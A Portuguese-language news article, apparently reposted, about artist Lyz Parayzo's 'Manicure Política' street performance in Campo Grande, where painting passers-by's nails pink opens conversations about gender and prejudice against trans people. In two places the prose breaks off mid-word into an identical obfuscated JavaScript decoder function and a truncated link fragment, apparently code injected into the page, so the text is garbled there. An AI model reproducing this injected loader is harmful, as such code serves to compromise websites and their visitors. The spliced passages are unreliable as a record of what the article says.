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“Manicure política” usa esmalte rosa para conversar sobre ser homem ou mulher

Redação

[Via Campo Grande News]

Com salão itinerante, tapete rosa, samambaias e sentada em sua cadeira de manicure, a artista visual, Lyz Parayzo atendeu quem passava ao redor e entrava na fila para pintar as unhas a céu aberto. A Manicure Política chamou atenção dos curiosos no calçadão do Camelódromo, em Campo Grande. Os "serviços" são parte da Mostra Ipêrformático que ocorre gratuitamente até a próxima segunda-feira (15), em vários pontos da Capital.

Simples, mas diferente, a artista recebia as pessoas e pedia para se acomodarem. Enquanto isso, olhava para as mãos dos clientes e dava a opção de escolher algum dos tons de esmaltes rosas. A decisão ficou por conta de cada participante, contudo, não foi só a pintura que atraiu os moradores, como também o bate-papo no salão.

Lyz relata que o foco da performance é dialogar e abrir a mente das pessoas. “Me apresento, falo sobre questões do meu corpo e as pessoas passam a refletir coisas que nunca haviam pensado a respeito do corpo delas. Antes de nascermos, já falam de gênero. A grávida faz ultrassom para saber se é menino ou menina, porém definem o gênero da criança, mas e as pessoas que não se encaixam? O que acontece?”, questiona.

“Esse trabalho é como se fosse uma espécie de professora Queer, que é um termo norte-americano e fala sobre corpos incidentes, que é aquele que não tem uma norma binária, de ser homem ou mulher. Há muito preconceito na sociedade, as travestis existem e tem que lidar com isso”, dispara.

A artista é carioca, mas atualmente vive em São Paulo, onde realiza várias apresentações culturais. Em Campo Grande, completou a sua 13ª performance como Manicure Política e explica a proposta da mostra. “Estudei artes visuais e o primeiro dado feminino no meu corpo, foram as unhas pintadas de rosa. A cor não tem gênero, mas tive que lidar com que o tom catalisava. Se fosse preto, chamavam de roqueiro, agora rosa zombavam, xingavam. Rosa catalisou uma série de experiência em mim”, conta.

Durante o bate-papo, Lyz revelou que sua avó é manicure e sua mãe esteticista. Isso foi um “gancho” para entrar no campo de artes visuais. Na conversa, a artista recorda que na primeira performance do gênero decidiu montar um salão para fazer unhas no último andar de um prédio. “Comecei a pintar as unhas das pessoas e me convidaram para um almoço performático como manicure, desde então continuei”, disse. “Foi uma transição, agora quero manter o diálogo com um espaço institucional”, complementa.

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A pintura das unhas ao ar livre a todo momento lembrava que o nosso corpo é político, na forma como é exposto ou escondido. “Quando a pessoa sai de casa, escolhe a roupa que usará e as transsexuais também fazem isso. Quando sofre machismo e misoginia, ficam te lembrando que você tem um corpo diferente, porém precisamos falar sobre isso. O toque abre um portal para a conversa. Criamos uma afinidade mesmo que seja momentânea, se cria empatia”, explica.

Lyz lembra que a sociedade exclui pessoas transsexuais até no toque. “Ninguém tem a edufunction a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandenews.com.br/educacao" target="_blank" rel="noopener">cação de criar nenhum carinho por esses corpos. O bate-papo tem essa proposta e é fundamental, pois faz refletir algo que não pensava. Pintar as unhas dos participantes é um pretexto para dialogar, não sou manicure profissional. As cores e samambaias são porque me marcaram. No primeiro salão que fiz tinha muitas samambaias”, conta.

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Participantes - A ação chamou atenção no calçadão do Camelódromo e até a pequena Valentina Mello, de 6 anos, quis participar. A mãe dela, Débora Rodrigues, 36, acompanhou de perto e falou que a filha sempre foi vaidosa. “Moramos no Vila Nasser, viemos passear no Centro, enquanto isso ela aproveita para fazer as unhas. Ama a cor rosa e gosta de se cuidar”.

Gabriel Henrique Penajo, de 19 anos, function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandenews.com.br/educacao" target="_blank" rel="noopener">estudantede artes cênicas sabia da performance e resolveu participar para trocar experiência com Lyz Parayso. “Vou sempre nas apresentações que acontece na cidade para conhecer, fazer parte da cena isso é importante para a Capital”, conta. Questionado se já pintou a unha de rosa, ele diz. “Sim e gosto. Acho divertido. A cor não interfere em nada”, conclui.

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